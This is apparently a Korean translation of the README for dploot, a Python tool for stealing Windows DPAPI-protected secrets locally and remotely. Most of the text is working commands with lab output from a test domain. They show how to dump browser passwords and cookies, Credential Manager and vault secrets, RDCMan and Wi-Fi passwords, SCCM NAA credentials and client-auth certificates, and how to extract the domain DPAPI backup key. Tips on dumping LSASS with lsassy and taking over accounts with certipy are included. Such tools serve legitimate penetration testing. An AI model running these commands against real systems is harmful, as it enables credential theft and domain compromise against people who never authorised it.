
Python으로 원격 및 로컬에서 DPAPI 자격 증명 탈취
dploot는 Harmj0y가 C#으로 작성한 SharpDPAPI를 Python으로 다시 구현한 것입니다. SharpDPAPI는 gentilkiwi의 Mimikatz에서 DPAPI를 포팅한 것입니다. 이 도구들의 모든 DPAPI 로직을 구현하지만, 이번에는 Python 인터프리터와 Linux 환경에서 사용할 수 있습니다.
DPAPI가 무엇인지 모른다면 이 글을 확인하세요.
PyPI에서 pipx로 dploot을 직접 설치할 수 있습니다:```text pipx install git+https://github.com/zblurx/dploot.git
또는```text
pipx install dploot
Kali Linux에서는 저장소에서 dploot를 설치할 수 있습니다:```text sudo apt install python3-dploot
## 사용법```text
dploot (https://github.com/zblurx/dploot) v3.1.2 by @_zblurx
usage: dploot [-h]
{backupkey,blob,browser,certificates,credentials,machinecertificates,machinecredentials,machinemasterkeys,machinetriage,machinevaults,masterkeys,mobaxterm,rdg,sccm,triage,vaults,wam,wifi} ...
DPAPI looting locally remotely in Python
positional arguments:
{backupkey,blob,browser,certificates,credentials,machinecertificates,machinecredentials,machinemasterkeys,machinetriage,machinevaults,masterkeys,mobaxterm,rdg,sccm,triage,vaults,wam,wifi}
Action
backupkey Backup Keys from domain controller
blob Decrypt DPAPI blob. Can fetch masterkeys on target
browser Dump users credentials and cookies saved in browser from local or remote target
certificates Dump users certificates from local or remote target
credentials Dump users Credential Manager blob from local or remote target
machinecertificates
Dump system certificates from local or remote target
machinecredentials Dump system credentials from local or remote target
machinemasterkeys Dump system masterkey from local or remote target
machinetriage Loot SYSTEM Masterkeys (if not set), SYSTEM credentials, SYSTEM certificates and SYSTEM vaults from local or remote target
machinevaults Dump system vaults from local or remote target
masterkeys Dump users masterkey from local or remote target
mobaxterm Dump Passwords and Credentials from MobaXterm
rdg Dump users saved password information for RDCMan.settings from local or remote target
sccm Dump SCCM secrets (NAA, Collection variables, tasks sequences credentials) from local or remote target
triage Loot Masterkeys (if not set), credentials, rdg, certificates, browser and vaults from local or remote target
vaults Dump users Vaults blob from local or remote target
wam Dump users cached azure tokens from local or remote target
wifi Dump wifi profiles from local or remote target
options:
-h, --help show this help message and exit
dploot는 Kerberos로 인증할 수 있습니다. -k 옵션을 사용하면 됩니다. 캐시된 티켓을 사용하려면 -use-kcache 옵션을 사용하세요.
dploot의 목표는 Linux 박스에서 DPAPI 관련 전리품(자격 증명 등)을 단순화하는 것입니다. SharpDPAPI와 마찬가지로 이 도구를 사용하는 방법은 도메인을 손상시켰는지 여부에 따라 달라집니다.
Windows 컴퓨터의 로컬 관리자인 경우, 예를 들어 machinecertificates (또는 다른 Machine Triage 명령, 또는 wifi 명령)을 사용하여 머신 비밀을 탈취할 수 있습니다:```text $ dploot machinecertificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.56.14 -quiet [-] Writting certificate to DESKTOP-OJ3N8TJ.waza.local_796449B12B788ABA.pfx
### Windows 파일시스템에 대한 오프라인 액세스 사용
시스템에 대한 로컬 관리자 액세스를 얻는 또 다른 방법으로, 예를 들어 물리적 액세스를 통해 드라이브를 분리하고 파일시스템을 자신의 머신에 직접 마운트하는 방식이 있습니다. 이 모드를 사용하려면 대상으로 `LOCAL`을 지정합니다. 기본적으로 대상 파일시스템은 현재 디렉터리로 간주되며, `-root`를 사용해 다른 경로를 지정할 수 있습니다:```text
$ dploot sccm -root /media/C_drive/ -t LOCAL
[*] Connected to LOCAL as \ (admin)
유효한 사용자 이름과 비밀번호를 인수로 제공하는 것이 여전히 유용할 수 있으며, 이는 마스터키를 복호화하는 데 사용됩니다(아래 User Triage의 지침 참조):```text $ dploot masterkeys -root /mnt -u bob -p Password -t LOCAL [*] Connected to LOCAL as \bob (admin)
### 도메인 관리자(또는 이에 준하는 권한)로서
도메인 관리자 권한이 있다면 backupkey 명령으로 도메인 DPAPI 백업 키를 얻을 수 있습니다. 이 키는 도메인 사용자와 컴퓨터의 모든 DPAPI 마스터키를 해독할 수 있으며 절대 변경되지 않습니다. 따라서 이 키를 사용하면 공격자가 도메인 사용자와 관련된 모든 DPAPI로 보호된 비밀번호를 탈취할 수 있습니다.
도메인 백업 키를 얻으려면 [backupkey](#backupkey) 명령을 사용할 수 있습니다:```text
$ dploot backupkey -d waza.local -u Administrator -p 'Password!123' -t 192.168.56.112 -quiet
[-] Exporting domain backupkey to file key.pvk
그런 다음 네트워크의 Windows 도메인 가입 컴퓨터에 저장된 사용자 비밀정보를, 예를 들어 certificates 명령(또는 다른 User Triage 명령)을 사용하여 탈취할 수 있습니다:``` $ dploot certificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.56.14 -pvk key.pvk -quiet [-] Writting certificate to jsmith_waza.local_C0F800ECBA7BE997.pfx [-] Writting certificate to jsmith_waza.local_D0C73E2C04BEAAB0.pfx [-] Writting certificate to m.scott_waza.local_EB9C21A5642D4EBD.pfx
### 도메인 관리자가 아닌 경우
도메인 관리자 권한을 (아직) 획득하지 못한 경우, Mimikatz의 sekurlsa::dpapi 명령을 사용하면 특정 시스템에서 로드된 마스터 키(사용자 및 SYSTEM)의 DPAPI 마스터키 {GUID}:SHA1 매핑을 검색할 수 있습니다 (팁: 키 추출 후 dpapi::cache를 실행하면 보기 좋은 테이블이 표시됩니다). 이 키를 {GUID1}:SHA1 {GUID2}:SHA1... 형식으로 변경하면 dploot에 제공하여 시스템을 분류(triage)할 수 있습니다. 또한 [lsassy](https://github.com/Hackndo/lsassy)를 사용하여 복호화된 마스터키를 수집할 수도 있습니다:```text
$ lsassy -u Administrator -p 'Password!123' -d waza.local -t 192.168.56.14 -m rdrleakdiag -M masterkeys
[+] 192.168.56.14 Authentication successful
[+] 192.168.56.14 Lsass dumped in C:\Windows\Temp\ff32F.fon (57121318 Bytes)
[+] 192.168.56.14 Lsass dump deleted
[+] 192.168.56.14 WAZA\DESKTOP-OJ3N8TJ$ [NT] 0e43c22a4b09520cf79ca19a9e1bbec7 | [SHA1] 2ce587ab64aa3488c5ed412ca1e554d0f8e5a411
(snip)
[+] 192.168.56.14 5 masterkeys saved to /data/masterkeys
그런 다음 이 masterkey 파일을 사용하여 대상 컴퓨터를 약탈할 수 있습니다(예: browser 명령 또는 다른 User Triage 명령 사용):```text $ dploot browser -d waza.local -u Administrator -p 'Password!123' -t 192.168.56.14 -mkfile /data/masterkeys [*] Connected to 192.168.56.14 as waza.local\Administrator (admin)
[*] Triage Browser Credentials for ALL USERS
[MSEDGE LOGIN DATA] URL: Username: [email protected] Password: Waza1234
또한 [dploot masterkeys](#masterkeys)의 `-hashes-outputfile` 옵션을 사용하여 masterkey 해시를 덤프할 수 있습니다.
## 명령어
### 사용자 트리아지
#### masterkeys
**masterkeys** 명령은 사용자 masterkey 파일을 가져와 `-passwords FILE`(user:password 조합), `-nthashes`(user:nthash 조합) 또는 `-pvk PVKFILE` 도메인 백업 키로 복호화합니다. 그 결과 masterkey {GUID}:SHA1 매핑 집합을 반환합니다. 대상에 연결할 때 사용한 password 또는 nthash를 해당 옵션을 지정하지 않아도 사용하려 시도한다는 점에 유의하세요. 원한다면 `-hashes-outputfile`을 사용하여 모든 masterkey 해시를 Hashcat/JtR 형식으로 가져와서 평문 암호를 크랙할 수 있습니다.
*도메인 백업 키 사용 시*:```text
$ dploot masterkeys -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -pvk key.pvk
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
[*] Triage ALL USERS masterkeys
{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22
{d37fa151-d670-4c58-9d70-3233b4918942}:8709574524ad35ef0b3a114b93990f8490d86cba
{68e05bd7-9de9-46f0-95e3-b5036baa49e9}:2d87a923d05534da67d449cbad9a7390d019910a
비밀번호 사용:```text $ cat passwords jsmith:Password#123 $ dploot masterkeys -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -passwords passwords [*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
[*] Triage ALL USERS masterkeys
{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22 {d37fa151-d670-4c58-9d70-3233b4918942}:8709574524ad35ef0b3a114b93990f8490d86cba {68e05bd7-9de9-46f0-95e3-b5036baa49e9}:2d87a923d05534da67d449cbad9a7390d019910a
***팁***: *`outputfile` 플래그를 사용하면 dploot masterkeys는 탈취한 마스터키를 지정된 파일에 추가합니다. 모든 마스터키를 같은 파일에 저장해도 문제없습니다. DPAPI BLOB에는 복호화에 필요한 마스터키의 GUID가 저장되기 때문입니다.*
#### credentials
**credentials** 명령은 사용자의 Credential 파일을 검색하고, 하나 이상의 {GUID}:SHA1 형식의 `-mkfile FILE`, user:password 조합의 `-passwords FILE`, user:nthash 조합의 `-nthashes`, 또는 마스터키를 먼저 복호화하기 위한 `-pvk PVKFILE`로 복호화합니다.
`mkfile` 사용 시:```text
$ dploot credentials -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -mkfile waza.mkf
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
[*] Triage Credentials for ALL USERS
[CREDENTIAL]
LastWritten : 2022-04-12 16:55:44
Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target : Domain:target=test
Description :
Unknown :
Username : test
Unknown : Password#{123}
[CREDENTIAL]
LastWritten : 2022-04-27 19:23:02
Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist : 0x00000002 (CRED_PERSIST_LOCAL_MACHINE)
Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target : Domain:target=TERMSRV/srv01.waza.local
Description :
Unknown :
Username : DESKTOP-I60R2L6\Administrator
Unknown : Password!123
pvk 사용 시:```text
$ dploot credentials -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -pvk key.pvk
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
[*] Triage ALL USERS masterkeys
{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22 {d37fa151-d670-4c58-9d70-3233b4918942}:8709574524ad35ef0b3a114b93990f8490d86cba {68e05bd7-9de9-46f0-95e3-b5036baa49e9}:2d87a923d05534da67d449cbad9a7390d019910a
[*] Triage Credentials for ALL USERS
[CREDENTIAL] LastWritten : 2022-05-19 10:25:06 Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH) Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE) Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD) Target : Domain:target=myserver.com Description : Unknown : Username : Administrator Unknown : Naga2019*
#### vaults
**vaults** 명령은 사용자의 Vaults 비밀번호를 검색하고 `-mkfile FILE`(하나 이상의 {GUID}:SHA1), `-passwords FILE`(user:password 조합), `-nthashes`(user:nthash 조합) 또는 `-pvk PVKFILE`(마스터키를 먼저 해독)을 사용하여 해독합니다.
`mkfile` 사용 시:```text
$ dploot vaults -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -mkfile waza.local.mkf
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
[*] Triage Vaults for ALL USERS
[VAULT_VPOL_KEYS]
Key1: 0x552f5d5b454d3a53aec4ff458539de02
Key2: 0x5565757b5acd988e1a7377030fbe7098bff3e98050ae9bca458fe554b9e2586b
[Internet Explorer]
Username : test
Resource : http://testphp.vulnweb.com/
Password : b'74006500730074000000'
Decoded Password: test
pvk 사용 시:```text
$ dploot vaults -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
[*] Triage ALL USERS masterkeys
{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22
[*] Triage Vaults for ALL USERS
[VAULT_VPOL_KEYS] Key1: 0x552f5d5b454d3a53aec4ff458539de02 Key2: 0x5565757b5acd988e1a7377030fbe7098bff3e98050ae9bca458fe554b9e2586b
[Internet Explorer] Username : test Resource : http://testphp.vulnweb.com/ Password : b'74006500730074000000'
Decoded Password: test
#### rdg
**rdg** 명령은 사용자의 RDCMan.settings 파일 비밀정보를 검색하고, 하나 이상의 {GUID}:SHA1 형식의 `-mkfile FILE`, 또는 user:password 조합의 `-passwords FILE`, user:nthash 조합의 `-nthashes`, 또는 마스터키를 먼저 복호화하기 위한 `-pvk PVKFILE`을 사용하여 이를 복호화합니다.
`mkfile` 사용 시:```text
$ dploot rdg -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -mkfile waza.local.mkf
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
[*] Triage RDCMAN Settings and RDG files for ALL USERS
[CREDENTIAL PROFILES]
Profile Name: WAZA\Administrator
Username: WAZA\Administrator
Password: Placeholder1234567890
[LOGON PROFILES]
Profile Name: Custom
Username: WAZA\Administrator
Password: Password!123
[SERVER PROFILES]
Name: DC01.waza.local
Profile Name: Custom
Username: WAZA\jdoe
Password: Password#123
[SERVER PROFILES]
Name: SRV01.waza.local
Profile Name: Custom
Username: WAZA\jfile
Password: Password#123
pvk 사용:```text
dploot rdg -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
[*] Triage ALL USERS masterkeys
{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22 {d37fa151-d670-4c58-9d70-3233b4918942}:8709574524ad35ef0b3a114b93990f8490d86cba {68e05bd7-9de9-46f0-95e3-b5036baa49e9}:2d87a923d05534da67d449cbad9a7390d019910a
[*] Triage RDCMAN Settings and RDG files for ALL USERS
[CREDENTIAL PROFILES] Profile Name: WAZA\Administrator Username: WAZA\Administrator Password: Placeholder1234567890
[LOGON PROFILES] Profile Name: Custom Username: WAZA\Administrator Password: Password!123
[SERVER PROFILES] Name: DC01.waza.local Profile Name: Custom Username: WAZA\jdoe Password: Password#123
[SERVER PROFILES] Name: SRV01.waza.local Profile Name: Custom Username: WAZA\jfile Password: Password#123
#### certificates
**certificates** 명령은 *MY*에서 사용자 인증서를 검색하고, 하나 이상의 {GUID}:SHA1로 구성된 `-mkfile FILE`, user:password 조합의 `-passwords FILE`, user:nthash 조합의 `-nthashes`, 또는 마스터키를 먼저 복호화하기 위한 `-pvk PVKFILE`을 사용하여 인증서를 복호화합니다.
`mkfile` 사용:```text
$ dploot certificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -mkfile waza.mkf
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
[*] Triage Certificates for ALL USERS
Issuer: CN=waza-ADCS1-CA,DC=waza,DC=local
Subject: CN=John Smith,CN=Users,DC=waza,DC=local
Valid Date: 2022-05-24 09:51:33
Expiry Date: 2023-05-24 09:51:33
Extended Key Usage:
Unknown OID (1.3.6.1.4.1.311.10.3.4)
emailProtection (1.3.6.1.5.5.7.3.4)
clientAuth (1.3.6.1.5.5.7.3.2)
[!] Certificate is used for client auth!
-----BEGIN CERTIFICATE-----
MIIGDTCCBPWgAwIBAgITewAAAAJ+dBN7rSmWMAAAAAAAAjANBgkqhkiG9w0BAQ0F
ADBFMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxFDASBgoJkiaJk/IsZAEZFgR3YXph
MRYwFAYDVQQDEw13YXphLUFEQ1MxLUNBMB4XDTIyMDUyNDA5NTEzM1oXDTIzMDUy
(snip)
c/8HYJOcP6FjLmevTLLESCRCg9LG4I6NzjoRGU968HWZ5U7DGUYsCVUbzcIyJL3H
DfaOwrwiSOoINEPSRHXEn2L7gjX111h1SqKCdLQ8s9mhR1F063lZzbEfGBNG7di0
/j2bsWqbT/fCx+AgCT65VRk=
-----END CERTIFICATE-----
[-] Writting certificate to jsmith_waza.local_C0F800ECBA7BE997.pfx
pvk 사용:```text
$ dploot certificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -pvk key.pvk
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
[*] Triage ALL USERS masterkeys
{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22 {d37fa151-d670-4c58-9d70-3233b4918942}:8709574524ad35ef0b3a114b93990f8490d86cba {68e05bd7-9de9-46f0-95e3-b5036baa49e9}:2d87a923d05534da67d449cbad9a7390d019910a
[*] Triage Certificates for ALL USERS
Issuer: CN=waza-ADCS1-CA,DC=waza,DC=local Subject: CN=John Smith,CN=Users,DC=waza,DC=local Valid Date: 2022-05-24 09:51:33 Expiry Date: 2023-05-24 09:51:33 Extended Key Usage: Unknown OID (1.3.6.1.4.1.311.10.3.4) emailProtection (1.3.6.1.5.5.7.3.4) clientAuth (1.3.6.1.5.5.7.3.2) [!] Certificate is used for client auth!
-----BEGIN CERTIFICATE----- MIIGDTCCBPWgAwIBAgITewAAAAJ+dBN7rSmWMAAAAAAAAjANBgkqhkiG9w0BAQ0F ADBFMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxFDASBgoJkiaJk/IsZAEZFgR3YXph MRYwFAYDVQQDEw13YXphLUFEQ1MxLUNBMB4XDTIyMDUyNDA5NTEzM1oXDTIzMDUy (snip) c/8HYJOcP6FjLmevTLLESCRCg9LG4I6NzjoRGU968HWZ5U7DGUYsCVUbzcIyJL3H DfaOwrwiSOoINEPSRHXEn2L7gjX111h1SqKCdLQ8s9mhR1F063lZzbEfGBNG7di0 /j2bsWqbT/fCx+AgCT65VRk= -----END CERTIFICATE-----
[-] Writting certificate to jsmith_waza.local_C0F800ECBA7BE997.pfx
기본적으로 이 도구는 클라이언트 인증에 사용되는 인증서만 탈취하지만, `-dump-all`을 사용하면 모든 인증서를 수집할 수 있습니다.
***팁***: *클라이언트 인증 EKU가 있는 인증서를 얻으면 [certipy](https://github.com/ly4k/Certipy)로 계정을 장악할 수 있습니다.*
#### browser
**browser** 명령은 Chrome 기반 브라우저에서 사용자 비밀번호와 쿠키를 검색하며, 하나 이상의 {GUID}:SHA1로 구성된 `-mkfile FILE`, user:password 조합의 `-passwords FILE`, user:nthash 조합의 `-nthashes`, 또는 마스터키를 먼저 복호화하기 위한 `-pvk PVKFILE`로 이를 복호화합니다.
`mkfile` 사용:```text
$ dploot browser -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -mkfile waza.mkf
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
[*] Triage Browser Credentials for ALL USERS
[MSEDGE LOGIN DATA]
URL:
Username: admin
Password: Password!123
pvk 사용:```text
$ dploot browser -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -pvk key.pvk
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
[*] Triage ALL USERS masterkeys
{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22 {d37fa151-d670-4c58-9d70-3233b4918942}:8709574524ad35ef0b3a114b93990f8490d86cba {68e05bd7-9de9-46f0-95e3-b5036baa49e9}:2d87a923d05534da67d449cbad9a7390d019910a
[*] Triage Browser Credentials for ALL USERS
[MSEDGE LOGIN DATA] URL: Username: admin Password: Password!123
저장된 쿠키를 표시하려면 `-show-cookies` 옵션을 사용하세요.
2024년 7월부터 [Chromium 기반 브라우저는 App Bound Key 암호화를 지원합니다](https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html). TLDR : Chromium 쿠키(그리고 곧 비밀번호)를 덤프하려면 사용자 및 SYSTEM 마스터키를 복호화해야 합니다. 이 옵션은 `-v20-support` 플래그로 지원됩니다.
#### triage
**triage** 명령은 사용자 [credentials](#credentials), [vaults](#vaults), [rdg](#rdg), [certificates](#certificates) 명령을 실행합니다.
### 머신 트라이지
#### machinemasterkeys
**machinemasterkeys** 명령은 RemoteRegistry로 LSA 시크릿을 덤프하여 DPAPI_SYSTEM 키를 검색하며, 이 키는 발견된 머신 마스터키를 복호화하는 데 사용됩니다. 마스터키 {GUID}:SHA1 매핑 집합을 반환합니다.```text
$ dploot machinemasterkeys -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
[*] Triage SYSTEM masterkeys
{b5ebf413-65bd-4ee7-aa49-2a3110f678d2}:ad7475c1efdf3e834037bead151e30beaefeb349
{c1027a5b-0dcc-4237-af05-19839a94c12f}:fda0c774f6a8ff189ef2759a151f2c6bcf6a4d46
{e1a73282-709b-4717-ace0-00eecb280fcc}:cdb4c86722b50cecf87cf683c6d727f36d760dba
{6fbe7c89-9810-4ce3-b841-f0f1dd8b46e6}:1fb57eb358ea26c617d39ce04c5feb613ab10b89
{750630e8-b603-4d43-941e-6f756073e511}:f9fd650d02a09e92069c54465455feeea12f0049
{9a4057a3-06f2-4e4f-9a88-79ea3c3cadfa}:5b966689d74393684a221752950b46fb5236b3db
machinecredentials 명령은 발견된 모든 machine Credentials 파일을 가져와서 하나 이상의 {GUID}:SHA1이 포함된 -mkfile FILE로 복호화합니다. 그렇지 않으면 dploot는 DPAPI_SYSTEM LSA 시크릿 키를 덤프하여 모든 machine masterkey를 복호화한 다음, 발견된 모든 암호화된 DPAPI XXX blob을 복호화합니다.```text
$ dploot machinecredentials -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
[*] Triage SYSTEM masterkeys
{07e6e8d6-7eae-4780-9aac-641818ddd9bb}:ddb9fa17d4e9ab12[...] {a87bcad8-5ed9-4f09-a9f7-34d77e20d0d4}:e4661cd36f07bb1f[...] {d03a0e3b-b616-4a29-8795-9ca09960de35}:a45fdd01699bfbc5[...] {69b3f620-eca1-45c1-a003-f1d0a8598c57}:2862216b21e96fa6[...] {9a270191-3f43-46d1-9935-5892dca2a9a2}:d3cb43dd6645d26d[...] {e85c4ab7-65d3-45df-9abe-829c2ead1c5f}:c2a118094fb7cf85[...]
[*] Triage SYSTEM Credentials
[CREDENTIAL] LastWritten : 2022-05-06 15:51:53 Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH) Persist : 0x00000002 (CRED_PERSIST_LOCAL_MACHINE) Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD) Target : Domain:batch=TaskScheduler:Task:{31424469-6CCD-4137-8DFF-541872FD3CBB} Description : Unknown : Username : WAZA\Administrator Unknown : Password!123
#### machinevaults
**machinevaults** 명령은 발견된 모든 머신 Vaults 파일을 가져와 하나 이상의 {GUID}:SHA1로 구성된 `-mkfile FILE`로 복호화하며, 그렇지 않으면 dploot가 DPAPI_SYSTEM LSA 비밀 키를 덤프하여 머신 마스터키를 복호화한 다음, 발견된 암호화된 DPAPI Vaults blob을 복호화합니다.```text
$ dploot machinevaults -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
[*] Triage SYSTEM masterkeys
{c1027a5b-0dcc-4237-af05-19839a94c12f}:fda0c774f6a8ff189ef2759a151f2c6bcf6a4d46
{e1a73282-709b-4717-ace0-00eecb280fcc}:cdb4c86722b50cecf87cf683c6d727f36d760dba
{6fbe7c89-9810-4ce3-b841-f0f1dd8b46e6}:1fb57eb358ea26c617d39ce04c5feb613ab10b89
{750630e8-b603-4d43-941e-6f756073e511}:f9fd650d02a09e92069c54465455feeea12f0049
[*] Triage SYSTEM Vaults
[VAULT_VPOL_KEYS]
Key1: 0x8a3dad10ce6ae44ba1700d1060cc28c4
Key2: 0x1514dd2c8f278ac517cf1ae09255aeaff62219a019bc21ac35321c040064b0b5
machinecertificates 명령은 발견된 모든 머신 개인 키 파일을 가져와서 하나 이상의 {GUID}:SHA1 형식의 -mkfile FILE로 복호화합니다. 그렇지 않으면 dploot가 DPAPI_SYSTEM LSA 비밀 키를 덤프하여 머신 마스터키를 복호화한 다음, 발견된 암호화된 DPAPI 개인 키 blob을 복호화합니다.
또한 RemoteRegistry를 사용하여 머신 CAPI 인증서 blob을 덤프합니다.```text $ dploot machinecertificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 [*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
[*] Triage SYSTEM masterkeys
{b5ebf413-65bd-4ee7-aa49-2a3110f678d2}:ad7475c1efdf3e834037bead151e30beaefeb349 {c1027a5b-0dcc-4237-af05-19839a94c12f}:fda0c774f6a8ff189ef2759a151f2c6bcf6a4d46 {e1a73282-709b-4717-ace0-00eecb280fcc}:cdb4c86722b50cecf87cf683c6d727f36d760dba {6fbe7c89-9810-4ce3-b841-f0f1dd8b46e6}:1fb57eb358ea26c617d39ce04c5feb613ab10b89 {750630e8-b603-4d43-941e-6f756073e511}:f9fd650d02a09e92069c54465455feeea12f0049 {9a4057a3-06f2-4e4f-9a88-79ea3c3cadfa}:5b966689d74393684a221752950b46fb5236b3db
[*] Triage SYSTEM Certificates
Issuer: CN=waza-ADCS1-CA,DC=waza,DC=local Subject: CN=DESKTOP-OJ3N8TJ.waza.local Valid Date: 2022-06-11 10:31:16 Expiry Date: 2023-06-11 10:31:16 Extended Key Usage: clientAuth (1.3.6.1.5.5.7.3.2) serverAuth (1.3.6.1.5.5.7.3.1) [!] Certificate is used for client auth!
-----BEGIN CERTIFICATE----- MIIFjTCCBHWgAwIBAgITewAAAAXrqLLiBZJG3AAAAAAABTANBgkqhkiG9w0BAQ0F ADBFMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxFDASBgoJkiaJk/IsZAEZFgR3YXph (snip) nXZ6/pA+XGqQwHG/hWG2TR5Ivjzoy+OjAgu44LqucC8Pw3wWToVWCKxdGgZcXqHE TXrQnLFK+nWqjrvJsM/O6HgNJbG/lqF/sogux3FLmW7a -----END CERTIFICATE-----
[-] Writting certificate to DESKTOP-OJ3N8TJ.waza.local_796449B12B788ABA.pfx
***팁***: *클라이언트 인증 EKU가 있는 인증서를 얻은 경우, [certipy](https://github.com/ly4k/Certipy)로 계정을 장악할 수 있습니다.*
#### machinetriage
machinetriage 명령은 [machinecredentials](#machinecredentials), [machinevaults](#machinevaults) 및 [machinecertificates](#machinecertificates)를 실행합니다.
### 기타
#### wifi
**wifi** 명령은 하나 이상의 {GUID}:SHA1에 대한 `-mkfile FILE`로 wifi xml 구성 파일을 가져와 복호화하며, 그렇지 않으면 dploot는 DPAPI_SYSTEM LSA secret key를 덤프하여 머신 마스터키를 복호화한 다음, 발견된 암호화된 DPAPI private key blob을 복호화합니다.```text
$ dploot wifi -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
[*] Triage SYSTEM masterkeys
{b5ebf413-65bd-4ee7-aa49-2a3110f678d2}:ad7475c1efdf3e834037bead151e30beaefeb349
{c1027a5b-0dcc-4237-af05-19839a94c12f}:fda0c774f6a8ff189ef2759a151f2c6bcf6a4d46
{e1a73282-709b-4717-ace0-00eecb280fcc}:cdb4c86722b50cecf87cf683c6d727f36d760dba
{6fbe7c89-9810-4ce3-b841-f0f1dd8b46e6}:1fb57eb358ea26c617d39ce04c5feb613ab10b89
{750630e8-b603-4d43-941e-6f756073e511}:f9fd650d02a09e92069c54465455feeea12f0049
{9a4057a3-06f2-4e4f-9a88-79ea3c3cadfa}:5b966689d74393684a221752950b46fb5236b3db
[*] Triage ALL WIFI profiles
[WIFI]
SSID: Wifi_G
AuthType: WPA2PSK
Encryption: AES
Preshared key: AzErTy1234567890QwSxDcFvG
[WIFI]
SSID: EAP_TLS
AuthType: WPA2 EAP
Encryption: AES
EAP Type: EAP TLS
EapHostConfig:
EapMethod:
Type: 13
VendorId: 0
VendorType: 0
AuthorId: 0
Config:
Eap:
Type: 13
EapType:
CredentialsSource:
CertificateStore:
SimpleCertSelection: true
ServerValidation:
DisableUserPromptForServerValidation: false
ServerNames: None
DifferentUsername: false
PerformServerValidation: true
AcceptServerName: false
[snip]
sccm 명령은 원격 대상에서 NAA 자격 증명, 컬렉션 변수 및 작업 시퀀스 자격 증명을 검색하고, 하나 이상의 {GUID}:SHA1로 구성된 -mkfile FILE을 사용하여 이를 복호화합니다. 그렇지 않으면 dploot는 머신 마스터키를 복호화하기 위해 DPAPI_SYSTEM LSA 비밀 키를 덤프한 다음, 발견된 암호화된 DPAPI 개인 키 blob을 복호화합니다. -wmi를 사용하면 WMI 요청 결과에서 SCCM 비밀을 덤프합니다.```text
$ dploot sccm -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
[*] Triage SYSTEM masterkeys
{c1027a5b-0dcc-4237-af05-19839a94c12f}:fda0c774f6a8ff189ef2759a151f2c6bcf6a4d46 {e1a73282-709b-4717-ace0-00eecb280fcc}:cdb4c86722b50cecf87cf683c6d727f36d760dba {6fbe7c89-9810-4ce3-b841-f0f1dd8b46e6}:1fb57eb358ea26c617d39ce04c5feb613ab10b89 {750630e8-b603-4d43-941e-6f756073e511}:f9fd650d02a09e92069c54465455feeea12f0049
[*] Triage SCCM Secrets
[NAA Account] Username: NAAAccount Password: Password!123
[snip]
#### backupkey
